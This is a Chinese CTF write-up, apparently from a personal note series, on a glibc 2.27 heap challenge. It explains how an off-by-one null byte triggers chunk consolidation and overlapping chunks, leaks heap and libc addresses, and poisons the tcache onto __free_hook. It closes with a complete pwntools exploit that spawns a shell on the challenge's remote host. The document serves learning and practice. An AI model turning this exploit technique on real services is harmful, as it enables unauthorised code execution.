如题,这次写一下unsortedbin的利用,unsortedbin的检查比tcachebinfastbin复杂很多,所以一直是(我的)一个很头痛的问题

题目:https://www.nssctf.cn/problem/2513

调试的libc:https://ftp.gnu.org/gnu/libc/glibc-2.27.tar.gz

漏洞点·

这题的漏洞在deit函数的check

check时如果遇到0x11就会改成0x00,妥妥的后门了

如果熟悉堆结构的话,会知道0x11是一个常出现在堆块的size中的数

看一下题目允许的堆块大小

也就是如果分配0x1110x2110x311的堆块的话通过填满物理地址的上一个堆块,就可以把这个堆块的大小改成0x1000x2000x300

这里如果是把堆块大小改大的话,那么很简单地可以想到可以把物理地址的下一个堆块放到tcachebin中,然后改fd指针实现任意写

但这里只能改一字节,而且只能把字节改成0x00,也就是只能把下一个堆块的大小改小

PS:这种只溢出一字节的,在PWN中叫做Off by oneOff by one不一定只能溢出0x00,只是这题做了限制而已

回想一下,在笔记vol.1构造fake_chunk,如果乱构造的话会触发malloc.c:4280的条件(源码是这个

当时并没说这个条件具体是做什么的

其实prev_inuse拿的就是next_chunksize的最低为,假设next_chunksize0x211的话,那么prev_inuse(next_chunk)就是1,如果触发Off by one把大小改成0x200的话,prev_inuse(next_chunk)就是0

也就是除了把物理地址的下一个堆块改小外,这个漏洞还可以把当前堆块标记为未被使用的状态,也就是被free掉的状态

这里直接说结论,如果一个堆块被标记为NOT INUSE的话,那么在free掉这个堆块的物理相邻的堆块,而且被free的堆块不满足tcachebinfastbin的条件时,就会尝试把这个NOT INUSE的堆块从它所在的bin中进行unlink操作,然后将被free的堆块和这个NOT INUSE的堆块进行合并(注意是物理地址的合并,不是bin的合并)

这里听着挺拗口的,可以在后面在慢慢体会这个过程

攻击思路·

所以现在就有了一个可以修改nextchunkPREV_INUSE位把堆块改成NOT INUSE的功能

然后我的想法是,可以在堆上叠出这样的一个东西

1
2
chunk1   <= PREV_INUSE=1
chunk2 <= PREV_INUSE=1

然后写满chunk1进行Off by one,就会把chunk1改成NOT INUSE

1
2
chunk1   <= PREV_INUSE=1
chunk2 <= PREV_INUSE=0

这时如果deletechunk2的话,就会触发堆块合并,把chunk1chunk2合并,然后再add一个chunk1chunk2大小的堆块,就可以得到一个新的堆块chunk3,其中chunk3的物理位置是原来chunk1chunk2的位置

1
2
chunk3   <= PREV_INUSE=1 => chunk1
<= PREV_INUSE=0 => chunk2

而且很重要的一点是,chunk1chunk3指向同一个物理位置,注意这个过程中,chunk1都没有被delete过,所以这里deletechunk3后,就可以用chunk1的指针进行uaf

左后用笔记vol.0的打法,写free_hook即可

下面细说具体的操作

Part.1 泄露heap_base·

这题依然可以利用tcachebin泄露heap_base

首先add两个大小一样的堆块,然后依次delete掉,那么在对应的tcachebin上就会形成

1
chunk2 -> chunk1 -> NULL

这时chunk2fd指针就会指向chunk1

然后再add一个一样大小的堆块,根据tcache的机制就可以拿到chunk2,而且这时chunk2fd指针不会被清零,所以进行依次show就可以拿到chunk1的地址,也就泄露出heap_base

Part.2 泄露libc_base·

失败的方法·

泄露libc_base的话我有想过用类似的方法,就是先把一个堆块deleteunsortedbin,这样就可以把main_arena的地址写到这个堆块的fd指针上,然后通过add把这个堆块拿回来,再用show去读fd指针

但实际操作下来好像不太行,首先因为题目对add的大小有限制,所以要到unsortedbin的话就要先把tcachebin填满,而且add的时候也要先把tcachebin的堆块全拿出来才能拿到那个在unsortedbin的堆块

然后在malloc的时候还有一段这个东西

就是如果malloc时是从unsortedbin中拿堆块的话,就会有一个把unsortedbin的堆块放到合适的bin中的过程

其中有一个步骤是,先把这个堆块从unsortedbinunlink出来(malloc.c:3778),然后再看这个拿出来的堆块victim是不是满足tcachebin的条件(malloc.c:3791),如果是的话就执行tcache_putvictim放到tcachebin

注意这时如果我要拿到unsortedbin的话,就要先清空tcachebin,所以tcache->counts[tc_idx] = 0,也就会满足malloc.c:3792的条件

tcache_put中会有一句e->next = tcache->entries[tc_idx]

这里的next指针相当于在unsortedbin机制中的fd指针,也就是这一步会把在unsortedbin中拿出来的堆块的fd指针改为0

而题目中的show限制了只能拿到堆块的fd指针

所以就搞不定了

通过堆块合并泄露·

在攻击思路中有提到,通过Off by one可以触发堆块的合并,然后可以构造出两个指针指向同一个堆块,这样的话,如果用其中一个指针把堆块deleteunsortedbin中,就可以用另一个指针泄露出main_arena地址了

下面实际操作一波

如果要利用Off by one的话,就需要被Off by one的堆块的大小的低字节为0x11,这里首先排除0x111,因为这样在Off by one后需要把0x100的堆块放到unsortedbin中,这就需要0x100tcachebin被填满,而题目add限制了不能分配0x100的堆块,所以就不太好操作

PS:感觉利用Off by one修改堆块大小后再delete也可以,不过这样就太麻烦了

然后因为合并后的堆块要小于0x400才能被add,所以分配的堆块越小越好,于是这里就选择使用0x211的堆块

再然后,被合并的堆块的大小要小于0x400 - 0x210 = 0x1f0,这里我就随便选一个0x111好了,也就是add(0x108)

注意在add的时候,十六进制的最低位要是8,这样才能在写满堆块后,堆块中的内容和下一个堆块的size相连

根据攻击思路的话,我现在需要先在堆上叠一个这样的东西

1
2
3
4
chunk0
chunk1(0x111) <= aad(0x108)
chunk2(0x211)
not top_chunk

注意chunk2下面不能是top_chunk,不然一会delete的时候会把chunk2top_chunk合并,而不是放到unsortedbin

然后把chunk1写满触发Off by one,把chunk2size改为0x200

1
2
3
4
5
chunk0
chunk1(0x111) <= aad(0x108)
chunk2(0x200)
old_chunk2 <= 0x10 space
not top_chunk

最后对chunk2进行delete,因为我想把合并后的堆块放到unsortedbin中,所以在delete前还要先把大小为0x200unsortedbin填满

绕过free的检查和报错·

理论上这就会触发chunk1chunk2的合并,但事情并没有这么简单

主要就是free的时候如果不是tcachebinfastbin的堆块的话,就会对物理地址的上下两个堆块的INUSE状态进行检查,而且调用unlink的时候如果没构造好的话也会报错,下面细说

绕过double free·

因为这时的chunk2并不是一个正常的堆块,所以在delete时需要绕过free中的一堆检查,不然程序会崩溃

首先第一个是老朋友malloc.c:4280

就是chunk2的物理地址的下一个堆块的PREV_INUSE位要是1,不然就会被认为是对一个NOT INUSE的堆块进行free,触发double free错误

nextchunk就是上面我叠出来的old_chunk2,只需要把这个地方改成一个假的堆块头(fake_chunk)就可以绕过检查

这里我想把堆叠的正常一点,所以我会选择在fake_chunk下面加个正常的堆块chunk3,然后让fake_chunk的下一个堆块和chunk3的下一个堆块指向相同的堆块

大概就是

1
2
3
4
5
6
chunk0
chunk1(0x111) <= aad(0x108)
chunk2(0x200)
fake_chunk(0x221) <= 0x10 space
chunk3(0x211)
top_chunk

绕过prev_size·

然后下一个要绕的地方是malloc.c:4292prevsize

这个地方大概说的是,如果当前堆块PREV_INUSE位为0的话(我现在deletechunk2就是),就会把物理地址的上一个堆块从bin中给unlink出来,然后再和当前堆块进行合并

而要做这一步,首先需要找到物理地址的上一个堆块,这里的做法是通过当前堆块的地址减去当前堆块的prev_size

chunk2prev_size就是chunk1的最后8个字节,如果我的chunk1是乱搞的话(比如写满字符0),就是

这样在根据prev_size去找上一个堆块是就会找到一个不存在的地址,触发SIGSEGV

所以在写chunk1的时候,要在最后8字节写上chunk1的大小,这样chunk_at_offset(p, -((long) prevsize))拿到的就是chunk1,是一个正常的堆块

注意这里prev_size0x110

如无意外到malloc.c:4295unlink也会报SIGSEGV

这里的unlink是一个宏定义,所以调试追不进去

不妨先看看定义

这里最起码P->fdP->bk是一个可以访问的地址,我两个都是乱写的0x3131313131313131那就肯定报错了

问题是,这两个地址应该写什么呢

先看看unlink做了什么,除去一堆检查的话,主要就是一个简单的把P从双链表上拿下来的过程

1
2
3
4
FD = P->fd
BK = P->bk
FD->bk = BK
BK->fd = FD

PS:CTF Wiki上也有unlink的内容,可以先看看,虽然个人感觉也讲得不太清晰就是了。。。

这里我并不是想要利用unlink实现某些攻击,只是想绕过不让它报错而已

现在我能控制的是P->fdP->bk,所以可以想到的一个简单的方法是,设

1
2
P->fd = P
P->bk = P

那么就是

1
2
FD = P->fd => FD = P
BK = P->bk => BK = P

然后

1
2
FD->bk = BK => FD->bk = P
BK->fd = FD => BK->fd = P

最终的结果依然还是

1
2
P->fd = P
P->bk = P

也就是在什么都没改变的情况下就顺利跑完了unlink

这时的prev_chunk长这样子

除了对上一个堆块进行合并的unlink外,在malloc.c:4304还有一处对下一个堆块合并的unlink

这里的nextchunk即上面叠出来的fake_chunk,首先根据题目的条件,这里只有0x10的空间可以控制,不能写到这个fake_chunkfdbk,也就不能用chunk2的方法进行绕过

然后fake_chunk也不可能为top_chunk,所以malloc.c:4298if是肯定要进的

最后就只剩绕过malloc.c:4303的条件了,就是检查netchunk是否INUSE

检查的方法是用nextchunk的地址加上nextsize找到nextnextchunk(源码中没有这个变量,名字我瞎编的),然后检查nextnextchunkPREV_INUSE

这里如果是按我现在的方式叠的话,nextnextchunk就是top_chunk,而top_chunkPREV_INUSE位固定为1,所以就不会进这个if条件

PS:如果不想像我这样叠的话,也可以在chunk3中写下另一个假的堆头,然后把nextnextchunk指向这个堆头

泄露libc_base·

如无意外上面绕完后就可以成功deletechunk2,并且触发chunk1chunk2的合并(令合并后的堆块为chunk4好了),这时堆上大概长

1
2
3
4
chunk0
chunk4(0x311) <= chunk1 point at here
fake_chunk(0x220) <= contain chunk3
top_chunk

注意这时chunk4已经被deleteunsortedbin上,所以chunk4fdbk都指向main_arena

虽然我不能直接拿到chunk4的指针,但是chunk4原来也是chunk1的位置,而且chunk1没被delete过,所以对chunk1进行show就可以拿到chunk4fd,泄露出libc_base

Part.3 写free_hook·

触发堆块合并后,后面的事情就简单很多了

注意0x311其实是一个tcachebin的大小,只是因为合并前0x200tcachebin被填满了,所以chunk4才会到unsortedbin

这时需要先把chunk4挪到tcachebin中,只需要进行一次add(0x308)然后再delete掉就好,这时tcachebin上就是

1
chunk4 -> NULL

然后利用chunk1的指针,可以把chunk4fd改成free_hook,这样tcachebin就是

1
chunk4 -> free_hook

进行两次add(0x308)后就可以把堆块分配到free_hook

最后在free_hook上写上one_gadget或者system然后delete就搞定了

参考Exp·

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
from pwn import *
from time import sleep
context.log_level = 'debug'
context.terminal = ['wt.exe', 'bash', '-c']
T = 0.1

LOCAL = False
AUTOGDB = True
if LOCAL:
env = {'LD_LIBRARY_PATH': '.'}
r = process('./service', env=env)
if AUTOGDB:
gid, g = gdb.attach(r, api=True, gdbscript='')
sleep(1)
AUTOGDB and g.execute('dir /path/to/glibc-2.27/malloc/') and sleep(T)
AUTOGDB and g.execute('c') and sleep(T)
else:
gdb.attach(r, gdbscript='dir /path/to/glibc-2.27/malloc/')
input('Waiting GDB...')
else:
AUTOGDB = False
r = remote('node4.anna.nssctf.cn', 28727)

def add(size):
r.sendlineafter(b'> ', b'1')
r.sendlineafter(b'size: ', str(size).encode())
sleep(T)

def delete(index):
r.sendlineafter(b'> ', b'2')
r.sendlineafter(b'index: ', str(index).encode())
sleep(T)

def edit(index, content):
r.sendlineafter(b'> ', b'3')
r.sendlineafter(b'index: ', str(index).encode())
sleep(T)
r.send(content)
sleep(T)

def show(index):
r.sendlineafter(b'> ', b'4')
r.sendlineafter(b'index: ', str(index).encode())
return bytes.fromhex(r.recvuntil(b'This', drop=True).decode())

AUTOGDB and g.execute('p "leak heap_base"') and sleep(T)
add(0x1f8) # 0
add(0x1f8) # 1
delete(0)
delete(1)
add(0x1f8) # 0
AUTOGDB and g.execute('hexdump *(size_t*)$rebase(0x4100)-0x10 0x4096') and sleep(T)
AUTOGDB and g.execute('bins') and sleep(T)
heap_base = u64(show(0)[::-1].ljust(8, b'\x00')) - 0x260
print(f'{hex(heap_base) = }')
delete(0)

# make chunk_8(0x200) in unsortedbin
for _ in range(7):
add(0x1f8) # 0 - 6

for i in range(7):
delete(i)

add(0x108) # 0
add(0x208) # 1
add(0x208) # 2, split top_chunk
edit(0, b'0' * 0x108)
chunk0 = heap_base + 0x1050
# fd, bk = chunk0
# nextchunk->prev_size = 0x110
edit(0, p64(chunk0) + p64(chunk0) + b'0' * 0x0f0 + p64(0x110)) # or 0x11 -> 0x00

AUTOGDB and g.execute('p "unlink and leak libc_base"') and sleep(T)
AUTOGDB and g.execute('x/16gx $rebase(0x4100)') and sleep(T)
AUTOGDB and g.execute('bins') and sleep(T)
#AUTOGDB and g.execute('b malloc.c:4291') and sleep(T)
edit(1, b'1' * 0x1f0 + p64(0x220) + p64(0x221)) # fake_chunk
delete(1)
AUTOGDB and g.execute('x/16gx $rebase(0x4100)') and sleep(T)
AUTOGDB and g.execute('bins') and sleep(T)
AUTOGDB and g.execute('hexdump *(size_t*)$rebase(0x4100)-0x10 0x450') and sleep(T)

#libc_base = u64(show(0)[::-1].ljust(8, b'\x00')) - 0x39fc80 # debug
libc_base = u64(show(0)[::-1].ljust(8, b'\x00')) - 0x3ebca0
print(f'{hex(libc_base) = }')

AUTOGDB and g.execute('p "uaf"') and sleep(T)
#libc = ELF('libc-2.27-debug.so') # debug
# https://libc.blukat.me/d/libc6_2.27-3ubuntu1.5_amd64.so
libc = ELF('libc6_2.27-3ubuntu1.5_amd64.so')
libc_free_hook = libc_base + libc.symbols['__free_hook']
libc_system = libc_base + libc.symbols['system']
add(0x308) # 1
delete(1)
edit(0, p64(libc_free_hook))
AUTOGDB and g.execute('bins') and sleep(T)

add(0x308) # 1
add(0x308) # 3
AUTOGDB and g.execute('x/16gx $rebase(0x4100)') and sleep(T)

edit(1, b'/bin/sh\x00')
edit(3, p64(libc_system))
delete(1)

r.interactive()
r.close()

历史笔记·